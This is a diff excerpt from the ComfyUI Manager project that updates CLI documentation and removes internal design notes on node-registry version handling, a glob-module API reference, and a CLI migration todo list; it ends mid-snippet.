* It can also be utilized if ComfyUI is reinstalled and only the custom_nodes path has been backed up and restored.
|
||||
* Use `--uv-compile` to skip per-node pip installs and resolve all dependencies in one batch instead.
|
||||
|
||||
### 7. Clear
|
||||
### 6. Install from Dependency File
|
||||
|
||||
In the GUI, installations, updates, or snapshot restorations are scheduled to execute the next time ComfyUI is launched. The `clear` command clears this scheduled state, ensuring no pre-execution actions are applied.
|
||||
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
|
||||
|
||||
* Installs custom nodes specified in a dependency spec file (`.json`) or workflow file (`.png`/`.json`).
|
||||
* Use `--uv-compile` to batch-resolve all dependencies after installation instead of per-node pip.
|
||||
|
||||
### 7. uv-compile
|
||||
|
||||
`uv-compile ?[--user-directory <path>]`
|
||||
|
||||
* Batch-resolves and installs all custom node pack dependencies using `uv pip compile`.
|
||||
* Useful for environment recovery or initial setup without starting ComfyUI.
|
||||
* Requires `uv` to be installed.
|
||||
|
||||
```bash
|
||||
cm-cli uv-compile
|
||||
cm-cli uv-compile --user-directory /path/to/comfyui
|
||||
```
|
||||
|
||||
### 8. Clear
|
||||
|
||||
In the GUI, installations, updates, or snapshot restorations are scheduled to execute the next time ComfyUI is launched. The `clear` command clears this scheduled state, ensuring no pre-execution actions are applied.
|
||||
|
||||
@@ -1,355 +0,0 @@
|
||||
# CNR Version Management Design
|
||||
|
||||
**Version**: 1.1
|
||||
**Date**: 2025-11-08
|
||||
**Status**: Official Design Policy
|
||||
|
||||
## Overview
|
||||
|
||||
This document describes the official design policy for CNR (ComfyUI Node Registry) version management in ComfyUI Manager.
|
||||
|
||||
## Core Design Principles
|
||||
|
||||
### 1. In-Place Upgrade Policy
|
||||
|
||||
**Policy**: CNR upgrades are performed as **in-place replacements** without version history preservation.
|
||||
|
||||
**Rationale**:
|
||||
- **Simplicity**: Single version management is easier for users and maintainers
|
||||
- **Disk Space**: Prevents accumulation of old package versions
|
||||
- **Clear State**: Users always know which version is active
|
||||
- **Consistency**: Same behavior for enabled and disabled states
|
||||
|
||||
**Behavior**:
|
||||
```
|
||||
Before: custom_nodes/PackageName/ (CNR v1.0.1 with .tracking)
|
||||
Action: Install CNR v1.0.2
|
||||
After: custom_nodes/PackageName/ (CNR v1.0.2 with .tracking)
|
||||
Result: Old v1.0.1 REMOVED (not preserved)
|
||||
```
|
||||
|
||||
### 2. Single CNR Version Policy
|
||||
|
||||
**Policy**: Only **ONE CNR version** exists at any given time (either enabled OR disabled, never both).
|
||||
|
||||
**Rationale**:
|
||||
- **State Clarity**: No ambiguity about which CNR version is current
|
||||
- **Resource Management**: Minimal disk usage
|
||||
- **User Experience**: Clear version state without confusion
|
||||
- **Design Consistency**: Uniform handling across operations
|
||||
|
||||
**States**:
|
||||
- **Enabled**: `custom_nodes/PackageName/` (with `.tracking`)
|
||||
- **Disabled**: `.disabled/packagename@version/` (with `.tracking`)
|
||||
- **Never**: Multiple CNR versions coexisting
|
||||
|
||||
### 3. CNR vs Nightly Differentiation
|
||||
|
||||
**Policy**: Different handling for CNR and Nightly packages based on use cases.
|
||||
|
||||
| Aspect | CNR Packages (`.tracking`) | Nightly Packages (`.git`) |
|
||||
|--------|----------------------------|---------------------------|
|
||||
| **Purpose** | Stable releases | Development versions |
|
||||
| **Preservation** | Not preserved (in-place upgrade) | Preserved (multiple versions) |
|
||||
| **Version Policy** | Single version only | Multiple versions allowed |
|
||||
| **Use Case** | Production use | Testing and development |
|
||||
|
||||
**Rationale**:
|
||||
- **CNR**: Stable releases don't need version history; users want single stable version
|
||||
- **Nightly**: Development versions benefit from multiple versions for testing
|
||||
|
||||
### 4. API Response Priority Rules
|
||||
|
||||
**Policy**: The `/v2/customnode/installed` API applies two priority rules to prevent duplicate package entries and ensure clear state representation.
|
||||
|
||||
**Rule 1 (Enabled-Priority)**:
|
||||
- **Policy**: When both enabled and disabled versions of the same package exist → Return ONLY the enabled version
|
||||
- **Rationale**: Prevents frontend confusion from duplicate package entries
|
||||
- **Implementation**: `comfyui_manager/glob/manager_core.py:1801` in `get_installed_nodepacks()`
|
||||
|
||||
**Rule 2 (CNR-Priority for Disabled Packages)**:
|
||||
- **Policy**: When both CNR and Nightly versions are disabled → Return ONLY the CNR version
|
||||
- **Rationale**: CNR versions are stable releases and should be preferred over development Nightly builds when both are inactive
|
||||
- **Implementation**: `comfyui_manager/glob/manager_core.py:1801` in `get_installed_nodepacks()`
|
||||
|
||||
**Priority Matrix**:
|
||||
|
||||
| Scenario | Enabled Versions | Disabled Versions | API Response |
|
||||
|----------|------------------|-------------------|--------------|
|
||||
| 1. CNR enabled only | CNR v1.0.1 | None | CNR v1.0.1 (`enabled: true`) |
|
||||
| 2. CNR enabled + Nightly disabled | CNR v1.0.1 | Nightly | **Only CNR v1.0.1** (`enabled: true`) ← Rule 1 |
|
||||
| 3. Nightly enabled + CNR disabled | Nightly | CNR v1.0.1 | **Only Nightly** (`enabled: true`) ← Rule 1 |
|
||||
| 4. CNR disabled + Nightly disabled | None | CNR v1.0.1, Nightly | **Only CNR v1.0.1** (`enabled: false`) ← Rule 2 |
|
||||
| 5. Different packages disabled | None | PackageA, PackageB | Both packages (`enabled: false`) |
|
||||
|
||||
**Test Coverage**:
|
||||
- `tests/glob/test_installed_api_enabled_priority.py`
|
||||
- `test_installed_api_shows_only_enabled_when_both_exist` - Verifies Rule 1
|
||||
- `test_installed_api_cnr_priority_when_both_disabled` - Verifies Rule 2
|
||||
|
||||
## Detailed Behavior Specifications
|
||||
|
||||
### CNR Upgrade (Enabled → Enabled)
|
||||
|
||||
**Scenario**: Upgrading from CNR v1.0.1 to v1.0.2 when v1.0.1 is enabled
|
||||
|
||||
```
|
||||
Initial State:
|
||||
custom_nodes/PackageName/ (CNR v1.0.1 with .tracking)
|
||||
|
||||
Action:
|
||||
Install CNR v1.0.2
|
||||
|
||||
Process:
|
||||
1. Download CNR v1.0.2
|
||||
2. Remove existing custom_nodes/PackageName/
|
||||
3. Install CNR v1.0.2 to custom_nodes/PackageName/
|
||||
4. Create .tracking file
|
||||
|
||||
Final State:
|
||||
custom_nodes/PackageName/ (CNR v1.0.2 with .tracking)
|
||||
|
||||
Result:
|
||||
✓ v1.0.2 installed and enabled
|
||||
✓ v1.0.1 completely removed
|
||||
✓ No version history preserved
|
||||
```
|
||||
|
||||
### CNR Switch from Disabled
|
||||
|
||||
**Scenario**: Switching from disabled CNR v1.0.1 to CNR v1.0.2
|
||||
|
||||
```
|
||||
Initial State:
|
||||
custom_nodes/PackageName/ (Nightly with .git)
|
||||
.disabled/packagename@1_0_1/ (CNR v1.0.1 with .tracking)
|
||||
|
||||
User Action:
|
||||
Install CNR v1.0.2
|
||||
|
||||
Process:
|
||||
Step 1: Enable disabled CNR v1.0.1
|
||||
- Move .disabled/packagename@1_0_1/ → custom_nodes/PackageName/
|
||||
- Move custom_nodes/PackageName/ → .disabled/packagename@nightly/
|
||||
|
||||
Step 2: Upgrade CNR v1.0.1 → v1.0.2 (in-place)
|
||||
- Download CNR v1.0.2
|
||||
- Remove custom_nodes/PackageName/
|
||||
- Install CNR v1.0.2 to custom_nodes/PackageName/
|
||||
|
||||
Final State:
|
||||
custom_nodes/PackageName/ (CNR v1.0.2 with .tracking)
|
||||
.disabled/packagename@nightly/ (Nightly preserved)
|
||||
|
||||
Result:
|
||||
✓ CNR v1.0.2 installed and enabled
|
||||
✓ CNR v1.0.1 removed (not preserved in .disabled/)
|
||||
✓ Nightly preserved in .disabled/
|
||||
```
|
||||
|
||||
### CNR Disable
|
||||
|
||||
**Scenario**: Disabling CNR v1.0.1 when Nightly exists
|
||||
|
||||
```
|
||||
Initial State:
|
||||
custom_nodes/PackageName/ (CNR v1.0.1 with .tracking)
|
||||
|
||||
Action:
|
||||
Disable CNR v1.0.1
|
||||
|
||||
Final State:
|
||||
.disabled/packagename@1_0_1/ (CNR v1.0.1 with .tracking)
|
||||
|
||||
Note:
|
||||
- Only ONE disabled CNR version exists
|
||||
- If another CNR is already disabled, it is replaced
|
||||
```
|
||||
|
||||
### Nightly Installation (with CNR Disabled)
|
||||
|
||||
**Scenario**: Installing Nightly when CNR v1.0.1 is disabled
|
||||
|
||||
```
|
||||
Initial State:
|
||||
.disabled/packagename@1_0_1/ (CNR v1.0.1 with .tracking)
|
||||
|
||||
Action:
|
||||
Install Nightly
|
||||
|
||||
Final State:
|
||||
custom_nodes/PackageName/ (Nightly with .git)
|
||||
.disabled/packagename@1_0_1/ (CNR v1.0.1 preserved)
|
||||
|
||||
Result:
|
||||
✓ Nightly installed and enabled
|
||||
✓ Disabled CNR v1.0.1 preserved (not removed)
|
||||
✓ Different handling for Nightly vs CNR
|
||||
```
|
||||
|
||||
## Implementation Requirements
|
||||
|
||||
### CNR Install/Upgrade Operation
|
||||
|
||||
1. **Check for existing CNR versions**:
|
||||
- Enabled: `custom_nodes/PackageName/` with `.tracking`
|
||||
- Disabled: `.disabled/*` with `.tracking`
|
||||
|
||||
2. **Remove old CNR versions**:
|
||||
- If enabled CNR exists: Remove it
|
||||
- If disabled CNR exists: Remove it
|
||||
- Ensure only ONE CNR version will exist after operation
|
||||
|
||||
3. **Install new CNR version**:
|
||||
- Download and extract to target location
|
||||
- Create `.tracking` file
|
||||
- Register in package database
|
||||
|
||||
4. **Preserve Nightly packages**:
|
||||
- Do NOT remove packages with `.git` directory
|
||||
- Nightly packages should be preserved in `.disabled/`
|
||||
|
||||
### CNR Disable Operation
|
||||
|
||||
1. **Move enabled CNR to disabled**:
|
||||
- Move `custom_nodes/PackageName/` → `.disabled/packagename@version/`
|
||||
- Use **installed version** for directory name (not registry latest)
|
||||
|
||||
2. **Remove any existing disabled CNR**:
|
||||
- Only ONE disabled CNR version allowed
|
||||
- If another CNR already in `.disabled/`, remove it first
|
||||
|
||||
3. **Preserve disabled Nightly**:
|
||||
- Do NOT remove disabled Nightly packages
|
||||
- Multiple Nightly versions can coexist in `.disabled/`
|
||||
|
||||
### CNR Enable Operation
|
||||
|
||||
1. **Check for enabled package**:
|
||||
- If another package enabled, disable it first
|
||||
|
||||
2. **Move disabled CNR to enabled**:
|
||||
- Move `.disabled/packagename@version/` → `custom_nodes/PackageName/`
|
||||
|
||||
3. **Maintain single CNR policy**:
|
||||
- After enable, no CNR should remain in `.disabled/`
|
||||
- Only Nightly packages should remain in `.disabled/`
|
||||
|
||||
## Test Coverage
|
||||
|
||||
### Phase 7: Version Management Behavior Tests
|
||||
|
||||
**Test 7.1: `test_cnr_version_upgrade_removes_old`**
|
||||
- ✅ Verifies in-place upgrade removes old CNR version
|
||||
- ✅ Confirms only one CNR version exists after upgrade
|
||||
- ✅ Documents single version policy
|
||||
|
||||
**Test 7.2: `test_cnr_nightly_switching_preserves_nightly_only`**
|
||||
- ✅ Verifies Nightly preservation across CNR upgrades
|
||||
- ✅ Confirms old CNR versions removed (not preserved)
|
||||
- ✅ Documents different handling for CNR vs Nightly
|
||||
|
||||
### Other Relevant Tests
|
||||
|
||||
**Phase 1-6 Tests**:
|
||||
- ✅ All tests comply with single CNR version policy
|
||||
- ✅ No tests assume multiple CNR versions coexist
|
||||
- ✅ Fixtures properly handle CNR vs Nightly differences
|
||||
|
||||
## Known Behaviors
|
||||
|
||||
### Correct Behaviors (By Design)
|
||||
|
||||
1. **CNR Upgrades Remove Old Versions**
|
||||
- Status: ✅ Intentional design
|
||||
- Reason: In-place upgrade policy
|
||||
- Test: Phase 7.1 verifies this
|
||||
|
||||
2. **Only One CNR Version Exists**
|
||||
- Status: ✅ Intentional design
|
||||
- Reason: Single version policy
|
||||
- Test: Phase 7.2 verifies this
|
||||
|
||||
3. **Nightly Preserved, CNR Not**
|
||||
- Status: ✅ Intentional design
|
||||
- Reason: Different use cases
|
||||
- Test: Phase 7.2 verifies this
|
||||
|
||||
### Known Issues
|
||||
|
||||
1. **Disable API Version Mismatch**
|
||||
- Status: ⚠️ Bug to be fixed
|
||||
- Issue: Disabled directory name uses registry latest instead of installed version
|
||||
- Impact: Incorrect directory naming
|
||||
- Priority: Medium
|
||||
|
||||
## Design Rationale
|
||||
|
||||
### Why In-Place Upgrade?
|
||||
|
||||
**Benefits**:
|
||||
- Simple mental model for users
|
||||
- No disk space accumulation
|
||||
- Clear version state
|
||||
- Easier maintenance
|
||||
|
||||
**Trade-offs**:
|
||||
- No automatic rollback capability
|
||||
- Users must reinstall old versions from registry
|
||||
- Network required for version downgrades
|
||||
|
||||
**Decision**: Benefits outweigh trade-offs for stable release management.
|
||||
|
||||
### Why Different CNR vs Nightly Handling?
|
||||
|
||||
**CNR (Stable Releases)**:
|
||||
- Users want single stable version
|
||||
- Production use case
|
||||
- Rollback via registry if needed
|
||||
|
||||
**Nightly (Development Builds)**:
|
||||
- Developers test multiple versions
|
||||
- Development use case
|
||||
- Local version testing important
|
||||
|
||||
**Decision**: Different use cases justify different policies.
|
||||
|
||||
## Future Considerations
|
||||
|
||||
### Potential Enhancements (Not Currently Planned)
|
||||
|
||||
1. **Optional Version History**
|
||||
- Configurable preservation of last N versions
|
||||
- Opt-in via configuration flag
|
||||
- Separate history directory
|
||||
|
||||
2. **CNR Rollback API**
|
||||
- Dedicated rollback endpoint
|
||||
- Re-download from registry
|
||||
- Preserve current version before downgrade
|
||||
|
||||
3. **Version Pinning**
|
||||
- Pin specific CNR version
|
||||
- Prevent automatic upgrades
|
||||
- Per-package configuration
|
||||
|
||||
**Note**: These are potential future enhancements, not current requirements.
|
||||
|
||||
## Version History
|
||||
|
||||
| Version | Date | Changes |
|
||||
|---------|------|---------|
|
||||
| 1.1 | 2025-11-08 | Added API Response Priority Rules (Rule 1: Enabled-Priority, Rule 2: CNR-Priority) |
|
||||
| 1.0 | 2025-11-06 | Initial design document based on user clarification |
|
||||
|
||||
## References
|
||||
|
||||
- Phase 7 Test Implementation: `tests/glob/test_complex_scenarios.py`
|
||||
- Policy Clarification: `.claude/livecontext/cnr_version_policy_clarification.md`
|
||||
- Bug Report: `.claude/livecontext/bugs_to_file.md`
|
||||
|
||||
---
|
||||
|
||||
**Approved By**: User feedback 2025-11-06
|
||||
**Status**: Official Policy
|
||||
**Compliance**: All tests verified against this policy
|
||||
@@ -1,292 +0,0 @@
|
||||
# Glob Module API Reference for CLI Migration
|
||||
|
||||
## 🎯 Quick Reference
|
||||
This document provides essential glob module APIs available for CLI implementation. **READ ONLY** - do not modify glob module.
|
||||
|
||||
---
|
||||
|
||||
## 📦 Core Classes
|
||||
|
||||
### UnifiedManager
|
||||
**Location**: `comfyui_manager/glob/manager_core.py:436`
|
||||
**Instance**: Available as `unified_manager` (global instance)
|
||||
|
||||
#### Data Structures
|
||||
```python
|
||||
class UnifiedManager:
|
||||
def __init__(self):
|
||||
# PRIMARY DATA - Use these instead of legacy dicts
|
||||
self.installed_node_packages: dict[str, list[InstalledNodePackage]]
|
||||
self.repo_nodepack_map: dict[str, InstalledNodePackage] # compact_url -> package
|
||||
self.processed_install: set
|
||||
```
|
||||
|
||||
#### Core Methods (Direct CLI Equivalents)
|
||||
```python
|
||||
# Installation & Management
|
||||
async def install_by_id(packname: str, version_spec=None, channel=None,
|
||||
mode=None, instant_execution=False, no_deps=False,
|
||||
return_postinstall=False) -> ManagedResult
|
||||
def unified_enable(packname: str, version_spec=None) -> ManagedResult
|
||||
def unified_disable(packname: str) -> ManagedResult
|
||||
def unified_uninstall(packname: str) -> ManagedResult
|
||||
def unified_update(packname: str, instant_execution=False, no_deps=False,
|
||||
return_postinstall=False) -> ManagedResult
|
||||
def unified_fix(packname: str, version_spec, instant_execution=False,
|
||||
no_deps=False) -> ManagedResult
|
||||
|
||||
# Package Resolution & Info
|
||||
def resolve_node_spec(packname: str, guess_mode=None) -> tuple[str, str, bool] | None
|
||||
def get_active_pack(packname: str) -> InstalledNodePackage | None
|
||||
def get_inactive_pack(packname: str, version_spec=None) -> InstalledNodePackage | None
|
||||
|
||||
# Git Repository Operations
|
||||
async def repo_install(url: str, repo_path: str, instant_execution=False,
|
||||
no_deps=False, return_postinstall=False) -> ManagedResult
|
||||
def repo_update(repo_path: str, instant_execution=False, no_deps=False,
|
||||
return_postinstall=False) -> ManagedResult
|
||||
|
||||
# Utilities
|
||||
def is_url_like(url: str) -> bool
|
||||
def reload() -> None
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### InstalledNodePackage
|
||||
**Location**: `comfyui_manager/common/node_package.py:10`
|
||||
|
||||
```python
|
||||
@dataclass
|
||||
class InstalledNodePackage:
|
||||
# Core Data
|
||||
id: str # Package identifier
|
||||
fullpath: str # Installation path
|
||||
disabled: bool # Disabled state
|
||||
version: str # Version (cnr version, "nightly", or "unknown")
|
||||
repo_url: str = None # Git repository URL (for nightly/unknown)
|
||||
|
||||
# Computed Properties
|
||||
@property
|
||||
def is_unknown(self) -> bool: # version == "unknown"
|
||||
@property
|
||||
def is_nightly(self) -> bool: # version == "nightly"
|
||||
@property
|
||||
def is_from_cnr(self) -> bool: # not unknown and not nightly
|
||||
@property
|
||||
def is_enabled(self) -> bool: # not disabled
|
||||
@property
|
||||
def is_disabled(self) -> bool: # disabled
|
||||
|
||||
# Methods
|
||||
def get_commit_hash(self) -> str
|
||||
def isValid(self) -> bool
|
||||
|
||||
@staticmethod
|
||||
def from_fullpath(fullpath: str, resolve_from_path) -> InstalledNodePackage
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### ManagedResult
|
||||
**Location**: `comfyui_manager/glob/manager_core.py:285`
|
||||
|
||||
```python
|
||||
class ManagedResult:
|
||||
def __init__(self, action: str):
|
||||
self.action: str = action # 'install-cnr', 'install-git', 'enable', 'skip', etc.
|
||||
self.result: bool = True # Success/failure
|
||||
self.msg: str = "" # Human readable message
|
||||
self.target: str = None # Target identifier
|
||||
self.postinstall = None # Post-install callback
|
||||
|
||||
# Methods
|
||||
def fail(self, msg: str = "") -> ManagedResult
|
||||
def with_msg(self, msg: str) -> ManagedResult
|
||||
def with_target(self, target: str) -> ManagedResult
|
||||
def with_postinstall(self, postinstall) -> ManagedResult
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🛠️ Standalone Functions
|
||||
|
||||
### Core Manager Functions
|
||||
```python
|
||||
# Snapshot Operations
|
||||
async def save_snapshot_with_postfix(postfix: str, path: str = None,
|
||||
custom_nodes_only: bool = False) -> str
|
||||
|
||||
async def restore_snapshot(snapshot_path: str, git_helper_extras=None) -> None
|
||||
|
||||
# Node Utilities
|
||||
def simple_check_custom_node(url: str) -> str # Returns: 'installed', 'not-installed', 'disabled'
|
||||
|
||||
# Path Utilities
|
||||
def get_custom_nodes_paths() -> list[str]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔗 CNR Utilities
|
||||
**Location**: `comfyui_manager/common/cnr_utils.py`
|
||||
|
||||
```python
|
||||
# Essential CNR functions for CLI
|
||||
def get_nodepack(packname: str) -> dict | None
|
||||
# Returns CNR package info or None
|
||||
|
||||
def get_all_nodepackages() -> dict[str, dict]
|
||||
# Returns all CNR packages {package_id: package_info}
|
||||
|
||||
def all_versions_of_node(node_name: str) -> list[dict] | None
|
||||
# Returns version history for a package
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📋 Usage Patterns for CLI Migration
|
||||
|
||||
### 1. Replace Legacy Dict Access
|
||||
```python
|
||||
# ❌ OLD (Legacy way)
|
||||
for k, v in unified_manager.active_nodes.items():
|
||||
version, fullpath = v
|
||||
print(f"Active: {k} @ {version}")
|
||||
|
||||
# ✅ NEW (Glob way)
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
for pack in packages:
|
||||
if pack.is_enabled:
|
||||
print(f"Active: {pack.id} @ {pack.version}")
|
||||
```
|
||||
|
||||
### 2. Package Installation
|
||||
```python
|
||||
# CNR Package Installation
|
||||
res = await unified_manager.install_by_id("package-name", "1.0.0",
|
||||
instant_execution=True, no_deps=False)
|
||||
|
||||
# Git URL Installation
|
||||
if unified_manager.is_url_like(url):
|
||||
repo_name = os.path.basename(url).replace('.git', '')
|
||||
res = await unified_manager.repo_install(url, repo_name,
|
||||
instant_execution=True, no_deps=False)
|
||||
```
|
||||
|
||||
### 3. Package State Queries
|
||||
```python
|
||||
# Check if package is active
|
||||
active_pack = unified_manager.get_active_pack("package-name")
|
||||
if active_pack:
|
||||
print(f"Package is enabled: {active_pack.version}")
|
||||
|
||||
# Check if package is inactive
|
||||
inactive_pack = unified_manager.get_inactive_pack("package-name")
|
||||
if inactive_pack:
|
||||
print(f"Package is disabled: {inactive_pack.version}")
|
||||
```
|
||||
|
||||
### 4. CNR Data Access
|
||||
```python
|
||||
# Get CNR package information
|
||||
from ..common import cnr_utils
|
||||
|
||||
cnr_info = cnr_utils.get_nodepack("package-name")
|
||||
if cnr_info:
|
||||
publisher = cnr_info.get('publisher', {}).get('name', 'Unknown')
|
||||
print(f"Publisher: {publisher}")
|
||||
|
||||
# Get all CNR packages (for show not-installed)
|
||||
all_cnr = cnr_utils.get_all_nodepackages()
|
||||
```
|
||||
|
||||
### 5. Result Handling
|
||||
```python
|
||||
res = await unified_manager.install_by_id("package-name")
|
||||
|
||||
if res.action == 'skip':
|
||||
print(f"SKIP: {res.msg}")
|
||||
elif res.action == 'install-cnr' and res.result:
|
||||
print(f"INSTALLED: {res.target}")
|
||||
elif res.action == 'enable' and res.result:
|
||||
print(f"ENABLED: package was already installed")
|
||||
else:
|
||||
print(f"ERROR: {res.msg}")
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🚫 NOT Available in Glob (Handle These)
|
||||
|
||||
### Legacy Functions That Don't Exist:
|
||||
- `get_custom_nodes()` → Use `cnr_utils.get_all_nodepackages()`
|
||||
- `load_nightly()` → Remove or stub
|
||||
- `extract_nodes_from_workflow()` → Remove feature
|
||||
- `gitclone_install()` → Use `repo_install()`
|
||||
|
||||
### Legacy Properties That Don't Exist:
|
||||
- `active_nodes` → Use `installed_node_packages` + filter by `is_enabled`
|
||||
- `cnr_map` → Use `cnr_utils.get_all_nodepackages()`
|
||||
- `cnr_inactive_nodes` → Use `installed_node_packages` + filter by `is_disabled` and `is_from_cnr`
|
||||
- `nightly_inactive_nodes` → Use `installed_node_packages` + filter by `is_disabled` and `is_nightly`
|
||||
- `unknown_active_nodes` → Use `installed_node_packages` + filter by `is_enabled` and `is_unknown`
|
||||
- `unknown_inactive_nodes` → Use `installed_node_packages` + filter by `is_disabled` and `is_unknown`
|
||||
|
||||
---
|
||||
|
||||
## 🔄 Data Migration Examples
|
||||
|
||||
### Show Enabled Packages
|
||||
```python
|
||||
def show_enabled_packages():
|
||||
enabled_packages = []
|
||||
|
||||
# Collect enabled packages
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
for pack in packages:
|
||||
if pack.is_enabled:
|
||||
enabled_packages.append(pack)
|
||||
|
||||
# Display with CNR info
|
||||
for pack in enabled_packages:
|
||||
if pack.is_from_cnr:
|
||||
cnr_info = cnr_utils.get_nodepack(pack.id)
|
||||
publisher = cnr_info.get('publisher', {}).get('name', 'Unknown') if cnr_info else 'Unknown'
|
||||
print(f"[ ENABLED ] {pack.id:50} (author: {publisher}) [{pack.version}]")
|
||||
elif pack.is_nightly:
|
||||
print(f"[ ENABLED ] {pack.id:50} (nightly) [NIGHTLY]")
|
||||
else:
|
||||
print(f"[ ENABLED ] {pack.id:50} (unknown) [UNKNOWN]")
|
||||
```
|
||||
|
||||
### Show Not-Installed Packages
|
||||
```python
|
||||
def show_not_installed_packages():
|
||||
# Get installed package IDs
|
||||
installed_ids = set()
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
for pack in packages:
|
||||
installed_ids.add(pack.id)
|
||||
|
||||
# Get all CNR packages
|
||||
all_cnr = cnr_utils.get_all_nodepackages()
|
||||
|
||||
# Show not-installed
|
||||
for pack_id, pack_info in all_cnr.items():
|
||||
if pack_id not in installed_ids:
|
||||
publisher = pack_info.get('publisher', {}).get('name', 'Unknown')
|
||||
latest_version = pack_info.get('latest_version', {}).get('version', '0.0.0')
|
||||
print(f"[ NOT INSTALLED ] {pack_info['name']:50} {pack_id:30} (author: {publisher}) [{latest_version}]")
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ Key Constraints
|
||||
|
||||
1. **NO MODIFICATIONS**: Do not add any functions or properties to glob module
|
||||
2. **USE EXISTING APIs**: Only use the functions and classes documented above
|
||||
3. **ADAPT CLI**: CLI must adapt to glob's data structures and patterns
|
||||
4. **REMOVE IF NEEDED**: Remove features that can't be implemented with available APIs
|
||||
|
||||
This reference should provide everything needed to implement the CLI migration using only existing glob APIs.
|
||||
@@ -1,324 +0,0 @@
|
||||
# CLI Glob Migration - Implementation Todo List
|
||||
|
||||
## 📅 Project Timeline: 3.5 Days
|
||||
|
||||
---
|
||||
|
||||
# 🚀 Phase 1: Initial Setup & Import Changes (0.5 day)
|
||||
|
||||
## Day 1 Morning
|
||||
|
||||
### ✅ Setup and Preparation (30 min)
|
||||
- [ ] Read implementation context file
|
||||
- [ ] Review glob APIs documentation
|
||||
- [ ] Set up development environment
|
||||
- [ ] Create backup of current CLI
|
||||
|
||||
### 🔄 Import Path Changes (1 hour)
|
||||
- [ ] **CRITICAL**: Update import statements in `cm_cli/__main__.py:39-41`
|
||||
```python
|
||||
# Change from:
|
||||
from ..legacy import manager_core as core
|
||||
from ..legacy.manager_core import unified_manager
|
||||
|
||||
# Change to:
|
||||
from ..glob import manager_core as core
|
||||
from ..glob.manager_core import unified_manager
|
||||
```
|
||||
- [ ] Test CLI loads without crashing
|
||||
- [ ] Identify immediate import-related errors
|
||||
|
||||
### 🧪 Initial Testing (30 min)
|
||||
- [ ] Test basic CLI help: `python -m comfyui_manager.cm_cli help`
|
||||
- [ ] Test simple commands that should work: `python -m comfyui_manager.cm_cli show snapshot`
|
||||
- [ ] Document all errors found
|
||||
- [ ] Prioritize fixes needed
|
||||
|
||||
---
|
||||
|
||||
# ⚙️ Phase 2: Core Function Implementation (2 days)
|
||||
|
||||
## Day 1 Afternoon + Day 2
|
||||
|
||||
### 🛠️ install_node() Function Update (3 hours)
|
||||
**File**: `cm_cli/__main__.py:187-235`
|
||||
**Complexity**: Medium
|
||||
|
||||
#### Tasks:
|
||||
- [ ] **Replace Git URL handling logic**
|
||||
```python
|
||||
# OLD (line ~191):
|
||||
if core.is_valid_url(node_spec_str):
|
||||
res = asyncio.run(core.gitclone_install(node_spec_str, no_deps=cmd_ctx.no_deps))
|
||||
|
||||
# NEW:
|
||||
if unified_manager.is_url_like(node_spec_str):
|
||||
repo_name = os.path.basename(node_spec_str)
|
||||
if repo_name.endswith('.git'):
|
||||
repo_name = repo_name[:-4]
|
||||
res = asyncio.run(unified_manager.repo_install(
|
||||
node_spec_str, repo_name, instant_execution=True, no_deps=cmd_ctx.no_deps
|
||||
))
|
||||
```
|
||||
- [ ] Test Git URL installation
|
||||
- [ ] Test CNR package installation
|
||||
- [ ] Verify error handling works correctly
|
||||
- [ ] Update progress messages if needed
|
||||
|
||||
### 🔍 show_list() Function Rewrite - Installed-Only Approach (3 hours)
|
||||
**File**: `cm_cli/__main__.py:418-534`
|
||||
**Complexity**: High - Complete architectural change
|
||||
**New Approach**: Show only installed nodepacks with on-demand info retrieval
|
||||
|
||||
#### Key Changes:
|
||||
- ❌ Remove: Full cache loading (`get_custom_nodes()`)
|
||||
- ❌ Remove: Support for `show all`, `show not-installed`, `show cnr`
|
||||
- ✅ Add: Lightweight caching system for nodepack metadata
|
||||
- ✅ Add: On-demand CNR API calls for additional info
|
||||
|
||||
#### Tasks:
|
||||
- [ ] **Phase 2A: Lightweight Cache Implementation (1 hour)**
|
||||
```python
|
||||
class NodePackageCache:
|
||||
def __init__(self, cache_file_path: str):
|
||||
self.cache_file = cache_file_path
|
||||
self.cache_data = self._load_cache()
|
||||
|
||||
def get_metadata(self, nodepack_id: str) -> dict:
|
||||
# Get cached metadata or fetch on-demand from CNR
|
||||
|
||||
def update_metadata(self, nodepack_id: str, metadata: dict):
|
||||
# Update cache (called during install)
|
||||
```
|
||||
|
||||
- [ ] **Phase 2B: New show_list Implementation (1.5 hours)**
|
||||
```python
|
||||
def show_list(kind, simple=False):
|
||||
# Validate supported commands
|
||||
if kind not in ['installed', 'enabled', 'disabled']:
|
||||
print(f"Unsupported: 'show {kind}'. Use: installed/enabled/disabled")
|
||||
return
|
||||
|
||||
# Get installed packages only
|
||||
all_packages = []
|
||||
for packages in unified_manager.installed_node_packages.values():
|
||||
all_packages.extend(packages)
|
||||
|
||||
# Filter by status
|
||||
if kind == 'enabled':
|
||||
packages = [pkg for pkg in all_packages if pkg.is_enabled]
|
||||
elif kind == 'disabled':
|
||||
packages = [pkg for pkg in all_packages if not pkg.is_enabled]
|
||||
else: # 'installed'
|
||||
packages = all_packages
|
||||
```
|
||||
|
||||
- [ ] **Phase 2C: On-Demand Display with Cache (0.5 hour)**
|
||||
```python
|
||||
cache = NodePackageCache(cache_file_path)
|
||||
|
||||
for package in packages:
|
||||
# Basic info from InstalledNodePackage
|
||||
status = "[ ENABLED ]" if package.is_enabled else "[ DISABLED ]"
|
||||
|
||||
# Enhanced info from cache or on-demand
|
||||
cached_info = cache.get_metadata(package.id)
|
||||
name = cached_info.get('name', package.id)
|
||||
author = cached_info.get('author', 'Unknown')
|
||||
version = cached_info.get('version', 'Unknown')
|
||||
|
||||
if simple:
|
||||
print(f"{name}@{version}")
|
||||
else:
|
||||
print(f"{status} {name:50} {package.id:30} (author: {author:20}) [{version}]")
|
||||
```
|
||||
|
||||
#### Install-time Cache Update:
|
||||
- [ ] **Update install_node() to populate cache**
|
||||
```python
|
||||
# After successful installation in install_node()
|
||||
if install_success:
|
||||
metadata = cnr_utils.get_nodepackage_info(installed_package.id)
|
